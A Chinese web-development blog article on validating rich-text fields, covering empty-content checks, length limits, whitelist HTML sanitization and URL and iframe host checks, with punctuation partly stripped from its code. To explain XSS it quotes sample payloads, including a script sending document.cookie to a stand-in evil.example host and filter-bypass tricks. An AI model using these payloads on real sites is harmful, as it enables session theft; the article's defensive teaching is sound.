十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

富文本字段验证:从XSS防御到前后端协同的完整实践

富文本字段验证:从XSS防御到前后端协同的完整实践 富文本字段大概是后台管理系统里最容易被低估的一个输入项。单看表单它就是个“大文本框”但一旦接上编辑器用户往里面填的可能是干净整齐的HTML也可能是一段精心构造的攻击脚本。我这些年做内容管理系统、后台评论模块、商品详情编辑被富文本字段折腾过太多次踩过验证缺失的坑也踩过验证过度导致体验稀烂的坑。今天就把“富文本字段验证”这件事从头到尾拆一遍验证逻辑怎么设计、哪些场景最容易翻车、前后端该怎么配合、以及代码层面怎么落地。无论你是刚接手CMS开发的新手还是天天跟编辑器搏斗的资深后端这篇应该都能挖出点有用的东西。1. 富文本字段验证到底在验证什么1.1 一个真实需求不是“存个HTML”那么简单先还原一个典型的业务场景。公司要做一个内容发布系统运营人员需要在一个富文本编辑器里写文章支持加粗、标题、插入图片、贴外链保存后其他用户可以在前台看到排版好的内容。第一版实现很简单前端把编辑器的innerHTML拿过来后端save(html)完事。问题在第三周集中爆发。有人提交了一篇“测试”文章里面塞了一段scriptfetch(http://evil.example/collect?cookiedocument.cookie)/script前台用户一打开页面Cookie就被带走了。还有人从Word里粘了一篇带大量内联样式的文章一个页面几十KB全是stylefont-family:...;font-size:...;前端渲染慢得像幻灯片。更常见的是用户点了发布表单校验提示“内容不能为空”但编辑器里明明有截图——原因是他只贴了一张图片纯文本部分一个字符都没写。这就是富文本字段验证要解决的核心矛盾它看起来是一段字符串实际却是三层内容——用户可见的文本、承载排版的HTML结构、以及可能附带的安全风险。只把字段当成“非空字符串”校验后面每一个问题都会来找你。1.2 四个维度的验证目标我习惯把富文本字段验证拆成四个维度缺一个后面都要还债验证维度要回答的问题常见失败后果非空校验用户提交的内容到底算不算“有内容”全角空格、pnbsp;/p这类“伪空值”通过校验前台出现空白文章长度控制纯文本长度和HTML标签长度如何取舍数据库字段被超长HTML撑爆或前端列表页被超长文本撑坏布局安全校验HTML里有没有危险标签、危险属性、危险协议存储型XSS、链接跳转钓鱼、页面被注入广告脚本一致性校验存进去的HTML是否能被前端安全、正常地渲染标签未闭合导致页面错位、内联样式冲突导致排版异常这四个维度里非空和长度是“明枪”相对容易但细节坑多安全是“暗箭”最不能省一致性往往被忽略但恰恰是线上事故的高发区。下面逐个拆开讲每个维度我都会给出可以直接抄走的代码思路和被业务验证过的注意事项。2. 空值判断看不见的内容也是内容2.1 为什么pnbsp;/p不算空富文本空值判断的第一个坑就是“看着有东西其实没东西”。用户在编辑器里按了几下空格、回车或者从别处复制了一段带格式的空白内容提交上来的HTML可能是这样的pnbsp;/p pbr/p divspan stylefont-size: 14px;nbsp;/span/div如果直接用content.length 0判断以上全都会通过校验。但前台渲染出来就是一个巨大的空白区域读者看到的就是一篇“空白文章”。在内容平台这种问题非常拉低信任度。为什么会产生这种数据因为富文本编辑器在用户敲回车、设置字体、粘贴内容时会自动生成DOM节点。用户看到的是空白DOM里却已经写入了大量结构。所以判断富文本是否为空不能看原始HTML长度而要看剥离掉标签和空白字符之后的“可见文本”长度。2.2 剥离标签算长度的通用解法我通常会在前端和后端各写一个“提取纯文本”的工具函数两边逻辑保持一致。前端JavaScript版本长这样function getPlainText(html) { // 先用DOM解析比正则更可靠能正确处理嵌套标签 const div document.createElement(div); div.innerHTML html; // 这一步把 br 和块级标签转成换行避免“标题正文”被拼接成一坨 const blockTags [P, DIV, H1, H2, H3, H4, LI, TR, BLOCKQUOTE]; blockTags.forEach(tag { div.querySelectorAll(tag).forEach(el { el.appendChild(document.createTextNode(\n)); }); }); // 取文本内容后把常见的空白字符统一处理掉 let text div.textContent || ; text text.replace(/\u00a0/g, ); // 把 nbsp; 转成普通空格 text text.replace(/\s/g, ); // 多个空白折叠 return text; } function isRichTextEmpty(html) { return getPlainText(html).trim().length 0; }后端我常用Java做示例因为Java在处理这块时最容易“理论上没问题、实际全是坑”。核心思路是用Jsoup解析而不是用正则硬抠标签import org.jsoup.Jsoup; import org.jsoup.nodes.Document; public class RichTextValidator { public static String getPlainText(String html) { if (html null || html.isEmpty()) { return ; } // Jsoup.parseBodyFragment 保留 body 内的结构避免生成 html 头 Document doc Jsoup.parseBodyFragment(html); // 先把块级标签转成换行再取 text String text doc.body().text(); // text() 不会返回 160 号空格但 JS 版本会这里统一处理一遍 return text.replace(\u00a0, ).trim(); } }注意Java端的Jsoup.parseBodyFragment和Document.text()组合会自动隔离掉script、style标签里的内容这比正则要安全得多。正则匹配HTML是一个大坑因为HTML结构灵活多变/[^]/g这种简单正则在遇到img srcab.png时就会把标签边界弄错。2.3 图片、音视频场景下的“非空”策略接下来是个容易被忽略的边界用户确实上传了一张图片没有写任何文字。按“纯文本为空就不让提交”的规则这个内容会被拦下来但产品经理大概率会来找你“用户上传个表情包怎么了”这种场景需要重新定义“非空”的判定标准。我的做法是把“可见文本”和“媒体内容”分开判断function isEmptyContent(html) { // 先判纯文本 if (!isRichTextEmpty(html)) return false; // 再检查有没有图片、视频、音频等媒体 const div document.createElement(div); div.innerHTML html; const mediaTags [IMG, VIDEO, AUDIO, IFRAME, EMBED]; for (const tag of mediaTags) { if (div.querySelector(tag)) return false; } return true; }具体要不要把“只有图片”的内容视为有效取决于业务。文章详情的正文我建议必须有文字但评论、留言、动态这类轻内容允许纯图片是合理需求。这个规则一定要在前后端同时落地不能只在前端做否则绕过前端直接调接口照样会把“伪空值”存进去。3. 真正的重头戏富文本内容安全验证3.1 XSS 从哪里来三类典型恶意输入富文本最大的风险是存储型XSS。攻击者把恶意内容存进数据库之后每一个访问该页面的用户都会中招。根据我的经验最常见的恶意内容有三类。第一类是直接上script和事件属性scriptalert(document.cookie)/script img srcx onerroralert(document.cookie) a hrefjavascript:alert(document.cookie)点我/a这类比较直接稍微谨慎一点的开发者都会防。真正阴险的是后两类。第二类是“看起来无害但属性暗藏玄机”。比如a hrefjavas#99;ript:alert(1)利用HTML实体编码绕过字符串匹配img srcx stylebackground:url(javascript:alert(1))利用CSS注入iframe srchttp://evil.example/iframe利用合法标签实现钓鱼页面嵌套。第三类是“利用HTML解析差异”。比如标签名大小写、属性值的引号缺失、svg和math命名空间下的未知标签处理。很多基于正则的黑名单方案在遇到svgscriptalert(1)/script/svg这种写法时会直接放行因为黑名单只认script这个精确子串。我见过最讽刺的一个案例某系统用正则/script.*?\/script/i过滤脚本攻击者直接写scrscriptiptalert(1)/scr/scriptipt正则匹配到中间的script后把整段删掉结果拼出来的字符串恰好是一个完整的scriptalert(1)/script。这就是黑名单方案天生缺陷的典型例证。3.2 为什么白名单比黑名单靠谱我个人的结论非常明确富文本安全过滤永远不要用黑名单要用白名单。原因不复杂——黑名单的思维是“我知道哪些东西危险所以禁止它”。但HTML标签属性协议的组合空间实在太大onerror、onload、onclick、onmouseover……事件属性上百种你能列全吗CSS里隐藏的expression()、url()能防干净吗今天补一个漏洞明天攻击者又找到一个新组合这种猫鼠游戏你永远处于被动。白名单的思维是“我只允许我知道安全的东西”。富文本编辑器用户实际能用的标签就那些——p、strong、em、u、h1~h6、ul、ol、li、blockquote、img、a、table系列等。属性更少a标签允许href和titleimg允许src、alt、width、heighttd允许colspan、rowspan。凡是不在白名单里的标签和属性一律剥掉。这样即使攻击者塞进来一百种花样最终留下的也只有你允许的那些结构。3.3 白名单过滤代码落地现在业界已经有不少成熟库不需要自己撸一套完整实现。Java后端我推荐OWASP Java HTML Sanitizer它基于策略配置用起来非常顺手import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; public class HtmlSanitizeUtil { private static final PolicyFactory POLICY Sanitizers.FORMATTING .and(Sanitizers.BLOCKS) .and(Sanitizers.IMAGES) .and(Sanitizers.LINKS) .and(Sanitizers.TABLES) .and(Sanitizers.STYLES); public static String sanitize(String html) { if (html null) { return ; } // 输出的是经过白名单过滤的安全HTML return POLICY.sanitize(html); } }Sanitizers.LINKS会默认处理javascript:协议把危险的链接清掉Sanitizers.IMAGES只允许http、https、data:image这也要谨慎等安全协议。如果项目用的是Python推荐bleach库风格类似import bleach def clean_rich_text(html): allowed_tags [ p, br, strong, em, u, h1, h2, h3, ul, ol, li, blockquote, a, img, table, thead, tbody, tr, th, td ] allowed_attrs { a: [href, title, target], img: [src, alt, width, height, title], td: [colspan, rowspan], th: [colspan, rowspan], } allowed_protocols [http, https, mailto] return bleach.clean( html, tagsallowed_tags, attributesallowed_attrs, protocolsallowed_protocols, stripTrue )在Java里如果想要更精细的白名单OWASP HTML Sanitizer也支持自己定义规则PolicyFactory customPolicy new HtmlPolicyBuilder() .allowElements(p, br, strong, em, u) .allowElements(a) .allowAttributes(href).onElements(a) .allowUrlProtocols(http, https, mailto) .allowElements(img) .allowAttributes(src, alt, width, height).onElements(img) .toFactory();注意白名单过滤不能只做后端也不能只做前端。正确姿势是后端入库前过滤一次前端输出展示时再过滤一次或者至少在输出侧做一次转义兜底。因为同一份数据可能被PC端、移动端、App等不同客户端消费输出侧的清洗能覆盖所有场景而入库前的清洗能保证数据库里不落入恶意数据从源头控制扩散。4. 前后端分工前端做体验后端守底线4.1 编辑器里的实时校验别让用户白填一小时富文本验证如果只做到后端用户体验会非常糟糕。用户写了一篇长文点“提交”转了几秒钟页面提示“内容包含非法字符请检查”换谁都想骂人。所以前端一定要承担“尽早发现问题”的职责。我的习惯是在编辑器组件里监听input事件通过防抖做实时校验class RichTextEditor { constructor(textarea, options {}) { this.textarea textarea; this.onValidation options.onValidation || (() {}); this.initEvents(); } initEvents() { this.textarea.addEventListener(input, this.debounce(() { const html this.textarea.value; const state { isEmpty: isRichTextEmpty(html), plainLength: getPlainText(html).length, hasInvalidTag: this.containsInvalidTag(html), }; this.onValidation(state); }, 300)); } debounce(fn, delay) { let timer null; return (...args) { clearTimeout(timer); timer setTimeout(() fn(...args), delay); }; } containsInvalidTag(html) { // 这里只做“友好提示”不做安全拦截真正的拦截在后端 const div document.createElement(div); div.innerHTML html; const allowed [P, DIV, BR, STRONG, EM, U, H1, H2, H3, UL, OL, LI, BLOCKQUOTE, A, IMG, TABLE, THEAD, TBODY, TR, TH, TD]; const all div.querySelectorAll(*); for (const el of all) { const tag el.tagName.toUpperCase(); if (!allowed.includes(tag)) return true; } return false; } }实时校验提示的是“当前状态”而不是“最终生杀大权”。用户一边输入一边看到字数统计、空内容提示提交时的失败率就会大幅下降。4.2 链接、图片、引用的专项校验除了通用空值和长度富文本里还有几类“专项字段”需要单独校验链接、图片、引用视频。这些内容虽然藏在HTML里但业务上有自己的合规要求。链接专门校验。用户插入的外链到底是不是http或https协议有些编辑器允许自定义协议如果允许了javascript:那白名单也白搭。我见过一个项目编辑器里插入链接时允许用户填任意自定义协议结果有人填了data:text/html;base64,PHNjcmlwdD5...渲染出来又是一个XSS。所以链接校验至少要做到两点协议白名单http、https、mailto并且不能以数字或HTML实体绕过。用URL对象解析比正则更稳function isValidHttpUrl(str) { try { const url new URL(str); return url.protocol http: || url.protocol https:; } catch (e) { return false; } }图片专门校验。编辑器里的图片一般走的是上传接口返回的URL。上传接口要校验文件类型、大小并把图片存到独立域名或对象存储里。富文本字段里校验的是“图片地址是否可信”至少要判断URL是不是站内的、或者是不是配置的CDN域名。这个校验能挡住“用户往src里塞任意外链图片”带来的流量和追踪问题。外嵌引用视频专门校验。iframe的src如果允许任意来源攻击者可以嵌一个恶意站点来钓鱼。我的做法是维护一个允许的域名白名单比如只允许音视频平台和公司内部视频系统const allowedIframeHosts [ www.youtube.com, player.vimeo.com, player.bilibili.com, video.company.com ]; function isValidIframeSrc(src) { try { const host new URL(src).hostname; return allowedIframeHosts.includes(host); } catch (e) { return false; } }4.3 长度限制按纯文本算还是按HTML算长度限制是富文本验证里另一个容易翻车的地方。数据库字段VARCHAR(2000)存英文绰绰有余但存HTML标签一段普通的加粗居中文本就能轻易超出去。这里的正确处理逻辑是数据库字段类型用TEXT或LONGTEXT不要为了省空间用VARCHAR存富文本。富文本的体积天然远大于纯文本这是基本认知。业务展示上的“字数限制”按纯文本计算。比如“文章摘要不超过200字”这里的字数是用户可读的字符数不是HTML标签长度。用前面说的getPlainText处理后再数。后端也要校验HTML原始长度目的是防止有人提交超大体积的HTML导致接口超时或数据库写入异常。一般设一个富文本上限比如200KB超了直接拒绝。前后端分工的最终格局是前端负责让用户“填得舒服、改得及时”后端负责让数据“存得安全、取之合规”。任何一方缺位都会在某个角落冒出一个线上事故。5. 常见问题与排查实录5.1 典型问题速查表做富文本验证这么久我在工单和代码评审里见过的高频问题整理成一张表问题现象根因处理思路校验通过了但前台显示空白文章nbsp;、br视为可见内容改用“提取纯文本后判断是否为空”文章字数统计比实际多几十个字把HTML标签也算进了字数统一用纯文本提取函数统计编辑保存后格式错乱白名单过滤把某些标签剥掉了检查白名单配置是否覆盖了编辑器生成的所有标签用户从Word粘贴后一堆内联样式Word的HTML带大量style属性粘贴时先做“清洗转纯文本”再让编辑器重新排版拦截了非法内容但攻击者绕过了只在前端做了校验后端必须独立执行同一套白名单过滤alert(document.cookie)没弹但数据已经入库没有清洗只是页面转义兜底入口清洗 出口转义双保险链接被过滤掉用户反馈“链接保存后消失了”javascript:协议被安全策略清掉前端插入链接时就做协议预检提示用户使用http/https5.2 一个“校验通过但发布失败”的真实事故有一次线上突然出现大量“文章发布失败”的工单接口返回500。我查了半天发现是富文本字段里被粘贴进了一段特别长的“分享代码”之类的HTML里面有一个异常长的src地址加上环绕的标签整个HTML超过了5MB。后端接口在解析这个超大字符串时内存被占满GC频繁其他请求也跟着遭殃。这个事故的教训有两点。第一富文本校验除了校验“内容对不对”还要校验“内容大不大”。一个用户正常写文章的HTML体积通常不会超过500KB所以接口在拿到请求体时先检查content-length超过阈值直接拒绝比后期解析再做长度判断要省资源得多。第二线上一定要有监控告警不然这类问题会在你睡觉的时候悄悄爆发。后来我在网关层加了一层“请求体大小限制”业务接口又加了一遍富文本原始长度校验双保险if (html.length() 500 * 1024) { throw new BizException(内容体积过大请压缩图片后重试); }5.3 正则陷阱与性能陷阱最后聊两个细节都是用血泪换来的。正则匹配HTML的坑前面已经举了“标签嵌套绕过黑名单”的例子。这里再补一个性能坑解析HTML时慎用复杂正则。一个灾难性的案例是为了“提取所有图片地址”写了类似/img[^]src[]([^])[]/gi的正则看起来没问题但如果某段HTML里有一个未闭合的引号这个正则会从第一个img一路匹配到很远的字符串整个请求的耗时会被拉长到几秒。HTML解析这种事交给浏览器DOM、Jsoup、htmlparser这类正经解析器不要自己造轮子。第二个性能陷阱是“在循环里反复解析HTML”。比如要校验富文本里每一张图片是否来自白名单域名代码写成把所有图片标签都匹配一遍循环里每次都调用一个正则解析一遍整个HTML数据量一大就GG。正确做法是先解析一次拿到所有图片节点再遍历节点做域名判断// 错误示范循环里多次解析HTML const imgs html.match(/img[^]/g) || []; for (const imgTag of imgs) { const src imgTag.match(/src[]([^])/)[1]; if (!isValidImgHost(src)) { ... } } // 正确示范解析一次遍历节点 const div document.createElement(div); div.innerHTML html; const nodes div.querySelectorAll(img); for (const img of nodes) { if (!isValidImgHost(img.src)) { ... } }从我个人经验来说富文本字段验证这件事难的不是某个单独的技术点而是你有没有一套“从入口到出口”的完整链路思维。入口做清洗、出口做转义、前端做体验、后端守底线、日志做追踪五条缺一不可。如果你正在设计一个内容型系统我建议把富文本验证当成一个独立模块来做把白名单策略、纯文本提取、URL校验、长度控制集中封装成工具类每个业务接口都复用同一套逻辑而不是每次接到需求就从零写一遍。最后再分享一个小技巧不管用什么语言把“纯文本提取”和“HTML清洗”封装成接口之后一定要写单元测试把pnbsp;/p、script、javascript:链接、超大HTML这几类典型的脏数据都放进测试用例里。我在好几个项目里都吃过没写测试的亏——改了一个正则以为自己没影响别的地方结果线上某个编辑器的表情包图片全被过滤掉了。有测试兜底至少能保证你下次改代码的时候不会在深夜里被一条告警短信叫醒。
返回列表